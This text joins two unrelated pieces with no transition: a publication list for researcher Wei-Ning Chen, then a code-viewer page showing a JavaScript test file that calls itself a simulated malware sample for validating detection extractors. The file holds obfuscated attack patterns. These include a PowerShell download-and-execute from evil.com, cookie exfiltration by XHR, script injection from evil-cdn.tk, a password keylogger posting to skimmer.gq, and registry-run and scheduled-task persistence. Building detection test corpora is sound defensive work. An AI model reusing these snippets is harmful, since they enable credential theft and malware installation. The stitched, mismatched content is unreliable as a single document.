Wei-Ning Chen

58 papers A* 11A 3B 9C 1Journal 31Unranked 2
YearRankTypeTitle / Venue / Authors
2025 J jnl
CoRR
Minki Kang, Wei-Ning Chen, Dongge Han, Huseyin A. Inan, Lukas Wutschitz, Yanzhi Chen, Robert Sim, Saravan Rajmohan
2025 J jnl
CoRR
Yu Zhao, Wei-Ning Chen, Huseyin A. Inan, Samuel Kessler, Lu Wang, Lukas Wutschitz, Fangkai Yang, Chaoyun Zhang, Pasquale Minervini, Saravan Rajmohan, Robert Sim
2025 A* conf
ICML
Andy Dong, Wei-Ning Chen, Ayfer Özgür
2025 J jnl
CoRR
Andy Dong, Wei-Ning Chen, Ayfer Özgür
2025 J jnl
CoRR
Eli Chien, Wei-Ning Chen, Pan Li
2025 J jnl
CoRR
Yuetai Li, Huseyin A. Inan, Xiang Yue, Wei-Ning Chen, Lukas Wutschitz, Janardhan Kulkarni, Radha Poovendran, Robert Sim, Saravan Rajmohan
2024 J jnl
CoRR
Pura Peetathawatchai, Wei-Ning Chen, Berivan Isik, Sanmi Koyejo, Albert No
2024 A conf
AISTATS
Wei-Ning Chen, Graham Cormode, Akash Bharadwaj, Peter Romov, Ayfer Özgür
2024 J jnl
CoRR
Wei-Ning Chen, Berivan Isik, Peter Kairouz, Albert No, Sewoong Oh, Zheng Xu
2024 A* conf
ICML
Wei-Ning Chen, Berivan Isik, Peter Kairouz, Albert No, Sewoong Oh, Zheng Xu
2024 J jnl
CoRR
Wei-Ning Chen, Ayfer Özgür
2024 B conf
ISIT
Wei-Ning Chen, Ayfer Özgür
2024 conf
ICC
Henrik Hellström, Jiwon Jeong, Wei-Ning Chen, Ayfer Özgür, Viktoria Fodor, Carlo Fischione
2024 J jnl
CoRR
Wei-Ning Chen, Peter Kairouz, Sewoong Oh, Zheng Xu
2024 J jnl
IEEE J. Sel. Areas Inf. Theory
Daria Reshetova, Wei-Ning Chen, Ayfer Özgür
2024 B conf
ISIT
Daria Reshetova, Wei-Ning Chen, Ayfer Özgür
2024 A* conf
NeurIPS
Yanxiao Liu, Wei-Ning Chen, Ayfer Özgür, Cheuk Ting Li
2024 J jnl
CoRR
Yanxiao Liu, Wei-Ning Chen, Ayfer Özgür, Cheuk Ting Li
2023 J jnl
IEEE Trans. Inf. Theory
Surin Ahn, Wei-Ning Chen, Ayfer Özgür
2023 J jnl
IEEE Trans. Inf. Theory
Wei-Ning Chen, Peter Kairouz, Ayfer Özgür
2023 A* conf
NeurIPS
Eli Chien, Wei-Ning Chen, Chao Pan, Pan Li, Ayfer Özgür, Olgica Milenkovic
2023 J jnl
CoRR
Eli Chien, Wei-Ning Chen, Chao Pan, Pan Li, Ayfer Özgür, Olgica Milenkovic
2023 A* conf
NeurIPS
Berivan Isik, Wei-Ning Chen, Ayfer Özgür, Tsachy Weissman, Albert No
2023 J jnl
CoRR
Berivan Isik, Wei-Ning Chen, Ayfer Özgür, Tsachy Weissman, Albert No
2023 J jnl
CoRR
Wei-Ning Chen, Graham Cormode, Akash Bharadwaj, Peter Romov, Ayfer Özgür
2023 B conf
ISIT
Surin Ahn, Wei-Ning Chen, Ayfer Özgür
2023 A* conf
NeurIPS
Wei-Ning Chen, Dan Song, Ayfer Özgür, Peter Kairouz
2023 J jnl
CoRR
Wei-Ning Chen, Dan Song, Ayfer Özgür, Peter Kairouz
2023 A conf
AISTATS
Wei-Ning Chen, Ayfer Özgür, Graham Cormode, Akash Bharadwaj
2023 J jnl
CoRR
Daria Reshetova, Wei-Ning Chen, Ayfer Özgür
2022 B conf
ISIT
Surin Ahn, Wei-Ning Chen, Ayfer Özgür
2022 A conf
AISTATS
Abhin Shah, Wei-Ning Chen, Johannes Ballé, Peter Kairouz, Lucas Theis
2022 A* conf
ICML
Wei-Ning Chen, Christopher A. Choquette-Choo, Peter Kairouz, Ananda Theertha Suresh
2022 J jnl
CoRR
Wei-Ning Chen, Christopher A. Choquette-Choo, Peter Kairouz, Ananda Theertha Suresh
2022 A* conf
ICML
Wei-Ning Chen, Ayfer Özgür, Peter Kairouz
2022 J jnl
CoRR
Wei-Ning Chen, Ayfer Özgür, Peter Kairouz
2022 J jnl
CoRR
Wei-Ning Chen, Ayfer Özgür, Graham Cormode, Akash Bharadwaj
2021 B conf
ISIT
Surin Ahn, Wei-Ning Chen, Ayfer Özgür
2021 J jnl
CoRR
Surin Ahn, Wei-Ning Chen, Ayfer Özgür
2021 A* conf
COLT
Wei-Ning Chen, Peter Kairouz, Ayfer Özgür
2021 J jnl
CoRR
Wei-Ning Chen, Peter Kairouz, Ayfer Özgür
2021 B conf
ISIT
Shahab Asoodeh, Wei-Ning Chen, Flávio P. Calmon, Ayfer Özgür
2021 J jnl
CoRR
Abhin Shah, Wei-Ning Chen, Johannes Ballé, Peter Kairouz, Lucas Theis
2021 A* conf
NeurIPS
Wei-Ning Chen, Peter Kairouz, Ayfer Özgür
2021 J jnl
CoRR
Wei-Ning Chen, Peter Kairouz, Ayfer Özgür
2020 A* conf
NeurIPS
Wei-Ning Chen, Peter Kairouz, Ayfer Özgür
2020 J jnl
CoRR
Wei-Ning Chen, Peter Kairouz, Ayfer Özgür
2020 J jnl
IEEE J. Sel. Areas Inf. Theory
Leighton Pate Barnes, Wei-Ning Chen, Ayfer Özgür
2020 J jnl
CoRR
Leighton Pate Barnes, Wei-Ning Chen, Ayfer Özgür
2019 J jnl
IEEE Trans. Inf. Theory
Wei-Ning Chen, I-Hsiang Wang
2019 B conf
ISIT
Wei-Ning Chen, I-Hsiang Wang
2018 J jnl
CoRR
Wei-Ning Chen, I-Hsiang Wang
2018 conf
DSC
Ying-Shen Chen, Wei-Ning Chen, Che-Yu Wu, Hsu-Chun Hsiao, Shih-Kun Huang
2018 B conf
ISIT
Wei-Ning Chen, Ho-Chun Chen, I-Hsiang Wang
2017 B conf
ISIT
Wei-Ning Chen, I-Hsiang Wang
2015 J jnl
CoRR
Chun-Wei Li, Kuo-Ming Chen, Po-Chun Fu, Wei-Ning Chen, Che Lin
2010 ch.
Security Informatics
Shi-Cho Cha, Pei-Wen Juo, Li-Ting Liu, Wei-Ning Chen
2008 C conf
ISI
Shi-Cho Cha, Pei-Wen Juo, Li-Ting Liu, Wei-Ning Chen
test_files/test_malicious.js
← Index test_files/test_malicious.js javascript
// Simulated malicious JavaScript sample for testing REDB JS extractors
// This file contains common malware patterns for analysis validation

var _0x4a2f = ["\x68\x74\x74\x70\x3a\x2f\x2f\x65\x76\x69\x6c\x2e\x63\x6f\x6d\x2f\x70\x61\x79\x6c\x6f\x61\x64"];
var _0xb3 = ["\x57\x53\x63\x72\x69\x70\x74"];

// Obfuscated string reconstruction
var cmd = String.fromCharCode(112, 111, 119, 101, 114, 115, 104, 101, 108, 108);
var encoded_payload = "cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC1jICJJRVggKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly9ldmlsLmNvbS9zdGFnZTInKSI=";

// WScript-based malware pattern
var shell = WScript.CreateObject("WScript.Shell");
var fso = WScript.CreateObject("Scripting.FileSystemObject");

// Eval-based code execution
eval(function(p, a, c, k, e, d) {
    while (c--) { if (k[c]) { p = p.replace(new RegExp('\\b' + c.toString(a) + '\\b', 'g'), k[c]) } }
    return p
}('1 0="2://3.4/5";', 6, 6, 'url|var|http|malware|example|download'.split('|'), 0, {}));

// Network communication
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.1.100:8080/exfil", true);
xhr.send(document.cookie);

// File system operations
var stream = WScript.CreateObject("ADODB.Stream");
stream.Open();
stream.Type = 1;

// Registry manipulation
shell.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater", "C:\\Users\\Public\\malware.exe");

// Dynamic script injection
var s = document.createElement("script");
s.src = "https://evil-cdn.tk/inject.js";
document.body.appendChild(s);

// DOM skimmer pattern
document.querySelector("input[type=password]").addEventListener("keyup", function(e) {
    fetch("https://skimmer.gq/collect", {
        method: "POST",
        body: JSON.stringify({val: e.target.value})
    });
});

// Crypto miner pattern
var worker = new Worker("data:application/javascript," + atob(encoded_payload));

// Additional obfuscation: concatenated strings
var c2_url = "ht" + "tp" + "://" + "bad" + "guy" + ".r" + "u/" + "gate";

// setTimeout with string execution
setTimeout("eval(atob('" + encoded_payload + "'))", 1000);

function downloadPayload(url) {
    var req = WScript.CreateObject("MSXML2.XMLHTTP");
    req.open("GET", url, false);
    req.send();
    return req.responseText;
}

function persist() {
    shell.Run("cmd.exe /c schtasks /create /tn UpdateCheck /tr C:\\payload.exe /sc daily", 0, false);
    shell.Exec("powershell -ep bypass -c IEX(payload)");
}

downloadPayload(_0x4a2f[0]);
persist();

// Packer-style single-line payload to give the obfuscation heuristic the
// strong-signal evidence it expects from real obfuscator.io output: hex-escape
// density >5% and a max_line >10K chars. The repeat() saturates both.
var _0xpayload="\x68\x74\x74\x70\x3a\x2f\x2f\x65\x76\x69\x6c\x2e\x63\x6f\x6d\x2f\x73\x74\x61\x67\x65\x32\x2e\x6a\x73\x3f\x69\x64\x3d".repeat(800)+"\x22\x49\x45\x58\x28\x4e\x65\x77\x2d\x4f\x62\x6a\x65\x63\x74\x20\x4e\x65\x74\x2e\x57\x65\x62\x43\x6c\x69\x65\x6e\x74\x29\x2e\x44\x6f\x77\x6e\x6c\x6f\x61\x64\x53\x74\x72\x69\x6e\x67\x28\x27\x68\x74\x74\x70\x3a\x2f\x2f\x65\x76\x69\x6c\x2e\x63\x6f\x6d\x2f\x70\x61\x79\x6c\x6f\x61\x64\x27\x29\x22";